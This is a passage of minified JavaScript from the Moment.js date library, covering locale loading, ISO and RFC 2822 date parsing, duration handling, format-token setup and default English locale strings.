module&&module&&module.exports)try{t=Jt._abbr;require("./locale/"+e),ae(t)}catch(e){}return Xt[e]}function ae(e,t){var n;return e&&(n=s(t)?ue(e):oe(e,t))&&(Jt=n),Jt._abbr}function oe(e,t){if(null!==t){var n=Qt;if(t.abbr=e,null!=Xt[e])M("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),n=Xt[e]._config;else if(null!=t.parentLocale){if(null==Xt[t.parentLocale])return Kt[t.parentLocale]||(Kt[t.parentLocale]=[]),Kt[t.parentLocale].push({name:e,config:t}),null;n=Xt[t.parentLocale]._config}return Xt[e]=new k(D(n,t)),Kt[e]&&Kt[e].forEach(function(e){oe(e.name,e.config)}),ae(e),Xt[e]}return delete Xt[e],null}function ue(e){var n;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return Jt;if(!t(e)){if(n=re(e))return n;e=[e]}return function(e){for(var t,n,s,i,r=0;r<e.length;){for(t=(i=ie(e[r]).split("-")).length,n=(n=ie(e[r+1]))?n.split("-"):null;t>0;){if(s=re(i.slice(0,t).join("-")))return s;if(n&&n.length>=t&&p(i,n,!0)>=t-1)break;t--}r++}return null}(e)}function le(e){var t,n=e._a;return n&&-2===d(e).overflow&&(t=n[xt]<0||n[xt]>11?xt:n[bt]<1||n[bt]>Z(n[Tt],n[xt])?bt:n[Pt]<0||n[Pt]>24||24===n[Pt]&&(0!==n[Wt]||0!==n[Ht]||0!==n[Rt])?Pt:n[Wt]<0||n[Wt]>59?Wt:n[Ht]<0||n[Ht]>59?Ht:n[Rt]<0||n[Rt]>999?Rt:-1,d(e)._overflowDayOfYear&&(t<Tt||t>bt)&&(t=bt),d(e)._overflowWeeks&&-1===t&&(t=Ct),d(e)._overflowWeekday&&-1===t&&(t=Ft),d(e).overflow=t),e}function de(e,t,n){return null!=e?e:null!=t?t:n}function he(t){var n,s,i,r,a,o=[];if(!t._d){for(i=function(t){var n=new Date(e.now());return t._useUTC?[n.getUTCFullYear(),n.getUTCMonth(),n.getUTCDate()]:[n.getFullYear(),n.getMonth(),n.getDate()]}(t),t._w&&null==t._a[bt]&&null==t._a[xt]&&function(e){var t,n,s,i,r,a,o,u;if(null!=(t=e._w).GG||null!=t.W||null!=t.E)r=1,a=4,n=de(t.GG,e._a[Tt],X(pe(),1,4).year),s=de(t.W,1),((i=de(t.E,1))<1||i>7)&&(u=!0);else{r=e._locale._week.dow,a=e._locale._week.doy;var l=X(pe(),r,a);n=de(t.gg,e._a[Tt],l.year),s=de(t.w,l.week),null!=t.d?((i=t.d)<0||i>6)&&(u=!0):null!=t.e?(i=t.e+r,(t.e<0||t.e>6)&&(u=!0)):i=r}s<1||s>K(n,r,a)?d(e)._overflowWeeks=!0:null!=u?d(e)._overflowWeekday=!0:(o=Q(n,s,i,r,a),e._a[Tt]=o.year,e._dayOfYear=o.dayOfYear)}(t),null!=t._dayOfYear&&(a=de(t._a[Tt],i[Tt]),(t._dayOfYear>V(a)||0===t._dayOfYear)&&(d(t)._overflowDayOfYear=!0),s=J(a,0,t._dayOfYear),t._a[xt]=s.getUTCMonth(),t._a[bt]=s.getUTCDate()),n=0;n<3&&null==t._a[n];++n)t._a[n]=o[n]=i[n];for(;n<7;n++)t._a[n]=o[n]=null==t._a[n]?2===n?1:0:t._a[n];24===t._a[Pt]&&0===t._a[Wt]&&0===t._a[Ht]&&0===t._a[Rt]&&(t._nextDay=!0,t._a[Pt]=0),t._d=(t._useUTC?J:function(e,t,n,s,i,r,a){var o=new Date(e,t,n,s,i,r,a);return e<100&&e>=0&&isFinite(o.getFullYear())&&o.setFullYear(e),o}).apply(null,o),r=t._useUTC?t._d.getUTCDay():t._d.getDay(),null!=t._tzm&&t._d.setUTCMinutes(t._d.getUTCMinutes()-t._tzm),t._nextDay&&(t._a[Pt]=24),t._w&&void 0!==t._w.d&&t._w.d!==r&&(d(t).weekdayMismatch=!0)}}function ce(e){var t,n,s,i,r,a,o=e._i,u=en.exec(o)||tn.exec(o);if(u){for(d(e).iso=!0,t=0,n=sn.length;t<n;t++)if(sn[t][1].exec(u[1])){i=sn[t][0],s=!1!==sn[t][2];break}if(null==i)return void(e._isValid=!1);if(u[3]){for(t=0,n=rn.length;t<n;t++)if(rn[t][1].exec(u[3])){r=(u[2]||" ")+rn[t][0];break}if(null==r)return void(e._isValid=!1)}if(!s&&null!=r)return void(e._isValid=!1);if(u[4]){if(!nn.exec(u[4]))return void(e._isValid=!1);a="Z"}e._f=i+(r||"")+(a||""),_e(e)}else e._isValid=!1}function fe(e,t,n,s,i,r){var a=[function(e){var t=parseInt(e,10);{if(t<=49)return 2e3+t;if(t<=999)return 1900+t}return t}(e),Vt.indexOf(t),parseInt(n,10),parseInt(s,10),parseInt(i,10)];return r&&a.push(parseInt(r,10)),a}function me(e){var t=on.exec(function(e){return e.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").trim()}(e._i));if(t){var n=fe(t[4],t[3],t[2],t[5],t[6],t[7]);if(!function(e,t,n){if(e&&jt.indexOf(e)!==new Date(t[0],t[1],t[2]).getDay())return d(n).weekdayMismatch=!0,n._isValid=!1,!1;return!0}(t[1],n,e))return;e._a=n,e._tzm=function(e,t,n){if(e)return un[e];if(t)return 0;var s=parseInt(n,10),i=s%100;return(s-i)/100*60+i}(t[8],t[9],t[10]),e._d=J.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),d(e).rfc2822=!0}else e._isValid=!1}function _e(t){if(t._f!==e.ISO_8601)if(t._f!==e.RFC_2822){t._a=[],d(t).empty=!0;var n,s,i,r,a,o=""+t._i,u=o.length,l=0;for(i=R(t._f,t._locale).match(rt)||[],n=0;n<i.length;n++)r=i[n],(s=(o.match(F(r,t))||[])[0])&&((a=o.substr(0,o.indexOf(s))).length>0&&d(t).unusedInput.push(a),o=o.slice(o.indexOf(s)+s.length),l+=s.length),ut[r]?(s?d(t).empty=!1:d(t).unusedTokens.push(r),G(r,s,t)):t._strict&&!s&&d(t).unusedTokens.push(r);d(t).charsLeftOver=u-l,o.length>0&&d(t).unusedInput.push(o),t._a[Pt]<=12&&!0===d(t).bigHour&&t._a[Pt]>0&&(d(t).bigHour=void 0),d(t).parsedDateParts=t._a.slice(0),d(t).meridiem=t._meridiem,t._a[Pt]=function(e,t,n){var s;if(null==n)return t;return null!=e.meridiemHour?e.meridiemHour(t,n):null!=e.isPM?((s=e.isPM(n))&&t<12&&(t+=12),s||12!==t||(t=0),t):t}(t._locale,t._a[Pt],t._meridiem),he(t),le(t)}else me(t);else ce(t)}function ye(o){var l=o._i,y=o._f;return o._locale=o._locale||ue(o._l),null===l||void 0===y&&""===l?c({nullInput:!0}):("string"==typeof l&&(o._i=l=o._locale.preparse(l)),_(l)?new m(le(l)):(r(l)?o._d=l:t(y)?function(e){var t,n,s,i,r;if(0===e._f.length)return d(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)r=0,t=f({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],_e(t),h(t)&&(r+=d(t).charsLeftOver,r+=10*d(t).unusedTokens.length,d(t).score=r,(null==s||r<s)&&(s=r,n=t));u(e,n||t)}(o):y?_e(o):function(o){var u=o._i;s(u)?o._d=new Date(e.now()):r(u)?o._d=new Date(u.valueOf()):"string"==typeof u?function(t){var n=an.exec(t._i);null===n?(ce(t),!1===t._isValid&&(delete t._isValid,me(t),!1===t._isValid&&(delete t._isValid,e.createFromInputFallback(t)))):t._d=new Date(+n[1])}(o):t(u)?(o._a=a(u.slice(0),function(e){return parseInt(e,10)}),he(o)):n(u)?function(e){if(!e._d){var t=T(e._i);e._a=a([t.year,t.month,t.day||t.date,t.hour,t.minute,t.second,t.millisecond],function(e){return e&&parseInt(e,10)}),he(e)}}(o):i(u)?o._d=new Date(u):e.createFromInputFallback(o)}(o),h(o)||(o._d=null),o))}function ge(e,s,i,r,a){var o={};return!0!==i&&!1!==i||(r=i,i=void 0),(n(e)&&function(e){if(Object.getOwnPropertyNames)return 0===Object.getOwnPropertyNames(e).length;var t;for(t in e)if(e.hasOwnProperty(t))return!1;return!0}(e)||t(e)&&0===e.length)&&(e=void 0),o._isAMomentObject=!0,o._useUTC=o._isUTC=a,o._l=i,o._i=e,o._f=s,o._strict=r,function(e){var t=new m(le(ye(e)));return t._nextDay&&(t.add(1,"d"),t._nextDay=void 0),t}(o)}function pe(e,t,n,s){return ge(e,t,n,s,!1)}function we(e,n){var s,i;if(1===n.length&&t(n[0])&&(n=n[0]),!n.length)return pe();for(s=n[0],i=1;i<n.length;++i)n[i].isValid()&&!n[i][e](s)||(s=n[i]);return s}function ve(e){var t=T(e),n=t.year||0,s=t.quarter||0,i=t.month||0,r=t.week||0,a=t.day||0,o=t.hour||0,u=t.minute||0,l=t.second||0,d=t.millisecond||0;this._isValid=function(e){for(var t in e)if(-1===Ut.call(hn,t)||null!=e[t]&&isNaN(e[t]))return!1;for(var n=!1,s=0;s<hn.length;++s)if(e[hn[s]]){if(n)return!1;parseFloat(e[hn[s]])!==g(e[hn[s]])&&(n=!0)}return!0}(t),this._milliseconds=+d+1e3*l+6e4*u+1e3*o*60*60,this._days=+a+7*r,this._months=+i+3*s+12*n,this._data={},this._locale=ue(),this._bubble()}function Me(e){return e instanceof ve}function Se(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function De(e,t){P(e,0,0,function(){var e=this.utcOffset(),n="+";return e<0&&(e=-e,n="-"),n+b(~~(e/60),2)+t+b(~~e%60,2)})}function ke(e,t){var n=(t||"").match(e);if(null===n)return null;var s=((n[n.length-1]||[])+"").match(cn)||["-",0,0],i=60*s[1]+g(s[2]);return 0===i?0:"+"===s[0]?i:-i}function Ye(t,n){var s,i;return n._isUTC?(s=n.clone(),i=(_(t)||r(t)?t.valueOf():pe(t).valueOf())-s.valueOf(),s._d.setTime(s._d.valueOf()+i),e.updateOffset(s,!1),s):pe(t).local()}function Oe(e){return 15*-Math.round(e._d.getTimezoneOffset()/15)}function Te(){return!!this.isValid()&&(this._isUTC&&0===this._offset)}function xe(e,t){var n,s,r,a=e,u=null;return Me(e)?a={ms:e._milliseconds,d:e._days,M:e._months}:i(e)?(a={},t?a[t]=e:a.milliseconds=e):(u=fn.exec(e))?(n="-"===u[1]?-1:1,a={y:0,d:g(u[bt])*n,h:g(u[Pt])*n,m:g(u[Wt])*n,s:g(u[Ht])*n,ms:g(Se(1e3*u[Rt]))*n}):(u=mn.exec(e))?(n="-"===u[1]?-1:(u[1],1),a={y:be(u[2],n),M:be(u[3],n),w:be(u[4],n),d:be(u[5],n),h:be(u[6],n),m:be(u[7],n),s:be(u[8],n)}):null==a?a={}:"object"==typeof a&&("from"in a||"to"in a)&&(r=function(e,t){var n;if(!e.isValid()||!t.isValid())return{milliseconds:0,months:0};t=Ye(t,e),e.isBefore(t)?n=Pe(e,t):((n=Pe(t,e)).milliseconds=-n.milliseconds,n.months=-n.months);return n}(pe(a.from),pe(a.to)),(a={}).ms=r.milliseconds,a.M=r.months),s=new ve(a),Me(e)&&o(e,"_locale")&&(s._locale=e._locale),s}function be(e,t){var n=e&&parseFloat(e.replace(",","."));return(isNaN(n)?0:n)*t}function Pe(e,t){var n={milliseconds:0,months:0};return n.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(n.months,"M").isAfter(t)&&--n.months,n.milliseconds=+t-+e.clone().add(n.months,"M"),n}function We(e,t){return function(n,s){var i,r;return null===s||isNaN(+s)||(M(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),r=n,n=s,s=r),n="string"==typeof n?+n:n,i=xe(n,s),He(this,i,e),this}}function He(t,n,s,i){var r=n._milliseconds,a=Se(n._days),o=Se(n._months);t.isValid()&&(i=null==i||i,o&&z(t,A(t,"Month")+o*s),a&&j(t,"Date",A(t,"Date")+a*s),r&&t._d.setTime(t._d.valueOf()+r*s),i&&e.updateOffset(t,a||o))}function Re(e,t){var n,s=12*(t.year()-e.year())+(t.month()-e.month()),i=e.clone().add(s,"months");return n=t-i<0?(t-i)/(i-e.clone().add(s-1,"months")):(t-i)/(e.clone().add(s+1,"months")-i),-(s+n)||0}function Ce(e){var t;return void 0===e?this._locale._abbr:(null!=(t=ue(e))&&(this._locale=t),this)}function Fe(){return this._locale}function Ue(e,t){P(0,[e,e.length],0,t)}function Le(e,t,n,s,i){var r;return null==e?X(this,s,i).year:(r=K(e,s,i),t>r&&(t=r),function(e,t,n,s,i){var r=Q(e,t,n,s,i),a=J(r.year,0,r.dayOfYear);return this.year(a.getUTCFullYear()),this.month(a.getUTCMonth()),this.date(a.getUTCDate()),this}.call(this,e,t,n,s,i))}function Ne(e,t){t[Rt]=g(1e3*("0."+e))}function Ge(e){return e}function Ve(e,t,n,s){var i=ue(),r=l().set(s,t);return i[n](r,e)}function Ee(e,t,n){if(i(e)&&(t=e,e=void 0),e=e||"",null!=t)return Ve(e,t,n,"month");var s,r=[];for(s=0;s<12;s++)r[s]=Ve(e,s,n,"month");return r}function Ie(e,t,n,s){"boolean"==typeof e?(i(t)&&(n=t,t=void 0),t=t||""):(n=t=e,e=!1,i(t)&&(n=t,t=void 0),t=t||"");var r=ue(),a=e?r._week.dow:0;if(null!=n)return Ve(t,(n+a)%7,s,"day");var o,u=[];for(o=0;o<7;o++)u[o]=Ve(t,(o+a)%7,s,"day");return u}function Ae(e,t,n,s){var i=xe(t,n);return e._milliseconds+=s*i._milliseconds,e._days+=s*i._days,e._months+=s*i._months,e._bubble()}function je(e){return e<0?Math.floor(e):Math.ceil(e)}function Ze(e){return 4800*e/146097}function ze(e){return 146097*e/4800}function $e(e){return function(){return this.as(e)}}function qe(e){return function(){return this.isValid()?this._data[e]:NaN}}function Je(e){return(e>0)-(e<0)||+e}function Be(){if(!this.isValid())return this.localeData().invalidDate();var e,t,n=An(this._milliseconds)/1e3,s=An(this._days),i=An(this._months);t=y((e=y(n/60))/60),n%=60,e%=60;var r=y(i/12),a=i%=12,o=s,u=t,l=e,d=n?n.toFixed(3).replace(/\.?0+$/,""):"",h=this.asSeconds();if(!h)return"P0D";var c=h<0?"-":"",f=Je(this._months)!==Je(h)?"-":"",m=Je(this._days)!==Je(h)?"-":"",_=Je(this._milliseconds)!==Je(h)?"-":"";return c+"P"+(r?f+r+"Y":"")+(a?f+a+"M":"")+(o?m+o+"D":"")+(u||l||d?"T":"")+(u?_+u+"H":"")+(l?_+l+"M":"")+(d?_+d+"S":"")}var Qe,Xe;Xe=Array.prototype.some?Array.prototype.some:function(e){for(var t=Object(this),n=t.length>>>0,s=0;s<n;s++)if(s in t&&e.call(this,t[s],s,t))return!0;return!1};var Ke=e.momentProperties=[],et=!1,tt={};e.suppressDeprecationWarnings=!1,e.deprecationHandler=null;var nt;nt=Object.keys?Object.keys:function(e){var t,n=[];for(t in e)o(e,t)&&n.push(t);return n};var st={},it={},rt=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,at=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,ot={},ut={},lt=/\d/,dt=/\d\d/,ht=/\d{3}/,ct=/\d{4}/,ft=/[+-]?\d{6}/,mt=/\d\d?/,_t=/\d\d\d\d?/,yt=/\d\d\d\d\d\d?/,gt=/\d{1,3}/,pt=/\d{1,4}/,wt=/[+-]?\d{1,6}/,vt=/\d+/,Mt=/[+-]?\d+/,St=/Z|[+-]\d\d:?\d\d/gi,Dt=/Z|[+-]\d\d(?::?\d\d)?/gi,kt=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i,Yt={},Ot={},Tt=0,xt=1,bt=2,Pt=3,Wt=4,Ht=5,Rt=6,Ct=7,Ft=8;P("Y",0,0,function(){var e=this.year();return e<=9999?""+e:"+"+e}),P(0,["YY",2],0,function(){return this.year()%100}),P(0,["YYYY",4],0,"year"),P(0,["YYYYY",5],0,"year"),P(0,["YYYYYY",6,!0],0,"year"),Y("year","y"),x("year",1),C("Y",Mt),C("YY",mt,dt),C("YYYY",pt,ct),C("YYYYY",wt,ft),C("YYYYYY",wt,ft),L(["YYYYY","YYYYYY"],Tt),L("YYYY",function(t,n){n[Tt]=2===t.length?e.parseTwoDigitYear(t):g(t)}),L("YY",function(t,n){n[Tt]=e.parseTwoDigitYear(t)}),L("Y",function(e,t){t[Tt]=parseInt(e,10)}),e.parseTwoDigitYear=function(e){return g(e)+(g(e)>68?1900:2e3)};var Ut,Lt=I("FullYear",!0);Ut=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},P("M",["MM",2],"Mo",function(){return this.month()+1}),P("MMM",0,0,function(e){return this.localeData().monthsShort(this,e)}),P("MMMM",0,0,function(e){return this.localeData().months(this,e)}),Y("month","M"),x("month",8),C("M",mt),C("MM",mt,dt),C("MMM",function(e,t){return t.monthsShortRegex(e)}),C("MMMM",function(e,t){return t.monthsRegex(e)}),L(["M","MM"],function(e,t){t[xt]=g(e)-1}),L(["MMM","MMMM"],function(e,t,n,s){var i=n._locale.monthsParse(e,s,n._strict);null!=i?t[xt]=i:d(n).invalidMonth=e});var Nt=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,Gt="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),Vt="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),Et=kt,It=kt;P("w",["ww",2],"wo","week"),P("W",["WW",2],"Wo","isoWeek"),Y("week","w"),Y("isoWeek","W"),x("week",5),x("isoWeek",5),C("w",mt),C("ww",mt,dt),C("W",mt),C("WW",mt,dt),N(["w","ww","W","WW"],function(e,t,n,s){t[s.substr(0,1)]=g(e)});P("d",0,"do","day"),P("dd",0,0,function(e){return this.localeData().weekdaysMin(this,e)}),P("ddd",0,0,function(e){return this.localeData().weekdaysShort(this,e)}),P("dddd",0,0,function(e){return this.localeData().weekdays(this,e)}),P("e",0,0,"weekday"),P("E",0,0,"isoWeekday"),Y("day","d"),Y("weekday","e"),Y("isoWeekday","E"),x("day",11),x("weekday",11),x("isoWeekday",11),C("d",mt),C("e",mt),C("E",mt),C("dd",function(e,t){return t.weekdaysMinRegex(e)}),C("ddd",function(e,t){return t.weekdaysShortRegex(e)}),C("dddd",function(e,t){return t.weekdaysRegex(e)}),N(["dd","ddd","dddd"],function(e,t,n,s){var i=n._locale.weekdaysParse(e,s,n._strict);null!=i?t.d=i:d(n).invalidWeekday=e}),N(["d","e","E"],function(e,t,n,s){t[s]=g(e)});var At="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),jt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Zt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),zt=kt,$t=kt,qt=kt;P("H",["HH",2],0,"hour"),P("h",["hh",2],0,te),P("k",["kk",2],0,function(){return this.hours()||24}),P("hmm",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)}),P("hmmss",0,0,function(){return""+te.apply(this)+b(this.minutes(),2)+b(this.seconds(),2)}),P("Hmm",0,0,function(){return""+this.hours()+b(this.minutes(),2)}),P("Hmmss",0,0,function(){return""+this.hours()+b(this.minutes(),2)+b(this.seconds(),2)}),ne("a",!0),ne("A",!1),Y("hour","h"),x("hour",13),C("a",se),C("A",se),C("H",mt),C("h",mt),C("k",mt),C("HH",mt,dt),C("hh",mt,dt),C("kk",mt,dt),C("hmm",_t),C("hmmss",yt),C("Hmm",_t),C("Hmmss",yt),L(["H","HH"],Pt),L(["k","kk"],function(e,t,n){var s=g(e);t[Pt]=24===s?0:s}),L(["a","A"],function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e}),L(["h","hh"],function(e,t,n){t[Pt]=g(e),d(n).bigHour=!0}),L("hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s)),d(n).bigHour=!0}),L("hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i)),d(n).bigHour=!0}),L("Hmm",function(e,t,n){var s=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s))}),L("Hmmss",function(e,t,n){var s=e.length-4,i=e.length-2;t[Pt]=g(e.substr(0,s)),t[Wt]=g(e.substr(s,2)),t[Ht]=g(e.substr(i))});var Jt,Bt=I("Hours",!0),Qt={calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},longDateFormat:{LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},invalidDate:"Invalid date",ordinal:"%d",dayOfMonthOrdinalParse:/\d{1,2}/,relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},months:Gt,monthsShort:Vt,week:{dow:0,doy:6},weekdays:At,weekdaysMin:Zt,weekdaysShort:jt,meridiemParse:/[ap]\.?m?\.?/i},Xt={},Kt={},en=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,tn=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/,nn=/Z|[+-]\d\d(?::?\d\d)?/,sn=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/]],rn=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],an=/^\/?Date\((\-?\d+)/i,on=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,un={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};e.createFromInputFallback=v("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged and will be removed in an upcoming major release. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))}),e.ISO_8601=function(){},e.RFC_2822=function(){};var ln=v("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:c()}),dn=v("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",function(){var e=pe.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:c()}),hn=["year","quarter","month","week","day","hour","minute","second","millisecond"];De("Z",":"),De("ZZ",""),C("Z",Dt),C("ZZ",Dt),L(["Z","ZZ"],function(e,t,n){n._useUTC=!0,n._tzm=ke(Dt,e)});var cn=/([\+\-]|\d\d)/gi;e.updateOffset=function(){};var fn=/^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/,mn=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;xe.fn=ve.prototype,xe.invalid=function(){return xe(NaN)};var _n=We(1,"add"),yn=We(-1,"subtract");e.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",e.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var gn=v("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",function(e){return void 0===e?this.localeData():this.locale(e)});P(0,["gg",2],0,function(){return this.weekYear()%100}),P(0,["GG",2],0,function(){return this.isoWeekYear()%100}),Ue("gggg","weekYear"),Ue("ggggg","weekYear"),Ue("GGGG","isoWeekYear"),Ue("GGGGG","isoWeekYear"),Y("weekYear","gg"),Y("isoWeekYear","GG"),x("weekYear",1),x("isoWeekYear",1),C("G",Mt),C("g",Mt),C("GG",mt,dt),C("gg",mt,dt),C("GGGG",pt,ct),C("gggg",pt,ct),C("GGGGG",wt,ft),C("ggggg",wt,ft),N(["gggg","ggggg","GGGG","GGGGG"],function(e,t,n,s){t[s.substr(0,2)]=g(e)}),N(["gg","GG"],function(t,n,s,i){n[i]=e.parseTwoDigitYear(t)}),P("Q",0,"Qo","quarter"),Y("quarter","Q"),x("quarter",7),C("Q",lt),L("Q",function(e,t){t[xt]=3*(g(e)-1)}),P("D",["DD",2],"Do","date"),Y("date","D"),x("date",9),C("D",mt),C("DD",mt,dt),C("Do",function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient}),L(["D","DD"],bt),L("Do",function(e,t){t[bt]=g(e.match(mt)[0])});var pn=I("Date",!0);P("DDD",["DDDD",3],"DDDo","dayOfYear"),Y("dayOfYear","DDD"),x("dayOfYear",4),C("DDD",gt),C("DDDD",ht),L(["DDD","DDDD"],function(e,t,n){n._dayOfYear=g(e)}),P("m",["mm",2],0,"minute"),Y("minute","m"),x("minute",14),C("m",mt),C("mm",mt,dt),L(["m","mm"],Wt);var wn=I("Minutes",!1);P("s",["ss",2],0,"second"),Y("second","s"),x("second",15),C("s",mt),C("ss",mt,dt),L(["s","ss"],Ht);var vn=I("Seconds",!1);P("S",0,0,function(){return~~(this.millisecond()/100)}),P(0,["SS",2],0,function(){return~~(this.millisecond()/10)}),P(0,["SSS",3],0,"millisecond"),P(0,["SSSS",4],0,function(){return 10*this.millisecond()}),P(0,["SSSSS",5],0,function(){return 100*this.millisecond()}),P(0,["SSSSSS",6],0,function(){return 1e3*this.millisecond()}),P(0,["SSSSSSS",7],0,function(){return 1e4*this.millisecond()}),P(0,["SSSSSSSS",8],0,function(){return 1e5*this.millisecond()}),P(0,["SSSSSSSSS",9],0,function(){return 1e6*this.millisecond()}),Y("millisecond","ms"),x("millisecond",16),C("S",gt,lt),C("SS",gt,dt),C("SSS",gt,ht);var Mn;for(Mn="SSSS";Mn.length<=9;Mn+="S")C(Mn,vt);for(Mn="S";Mn.length<=9;Mn+="S")L(Mn,Ne);var Sn=I("Milliseconds",!1);P("z",0,0,"zoneAbbr"),P("zz",0,0,"zoneName");var Dn=m.prototype;Dn.add=_n,Dn.calendar=function(t,n){var s=t||pe(),i=Ye(s,this).startOf("day"),r=e.calendarFormat(this,i)||"sameElse",a=n&&(S(n[r])?n[r].call(this,s):n[r]);return this.format(a||this.localeData().calendar(r,this,pe(s)))},Dn.clone=function(){return new m(this)},Dn.diff=function(e,t,n){var s,i,r;if(!this.isValid())return NaN;if(!(s=Ye(e,this)).isValid())return NaN;switch(i=6e4*(s.utcOffset()-this.utcOffset()),t=O(t)){case"year":r=Re(this,s)/12;break;case"month":r=Re(this,s);break;case"quarter":r=Re(this,s)/3;break;case"second":r=(this-s)/1e3;break;case"minute":r=(this-s)/6e4;break;case"hour":r=(this-s)/36e5;break;case"day":r=(this-s-i)/864e5;break;case"week":r=(this-s-i)/6048e5;break;default:r=this-s}return n?r:y(r)},Dn.endOf=function(e){return void 